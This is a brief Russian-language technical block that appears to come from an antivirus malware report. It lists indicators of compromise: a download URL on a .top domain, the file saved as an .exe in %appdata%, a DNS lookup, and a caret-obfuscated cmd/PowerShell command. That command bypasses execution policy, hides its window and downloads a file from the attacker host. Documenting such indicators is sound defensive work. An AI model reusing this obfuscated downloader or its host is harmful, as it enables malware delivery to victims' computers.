Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "p^oW^ErsHel^L.e^X^E^ ^-ex^ECu^Tio^nPOLi^cy b^Yp^ASs -No^pr^o^fi^lE -^w^In^DOWS^TY^le H^IdD^eN (^NeW-ObjE^CT ^SYS^t^E^M^.^NET^.WEb^cLie^nt^).D^ow^nLO^A^d^FIL^E('http://www.zoerpo...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /c "p^oW^ErsHel^L.e^X^E^ ^-ex^ECu^Tio^nPOLi^cy b^Yp^ASs -No^pr^o^fi^lE -^w^In^DOWS^TY^le H^IdD^eN (^NeW-ObjE^CT ^SYS^t^E^M^.^NET^.WEb^cLie^nt^).D^ow^nLO^A^d^FIL^E('http://www.zoerpo...' (со скрытым окном)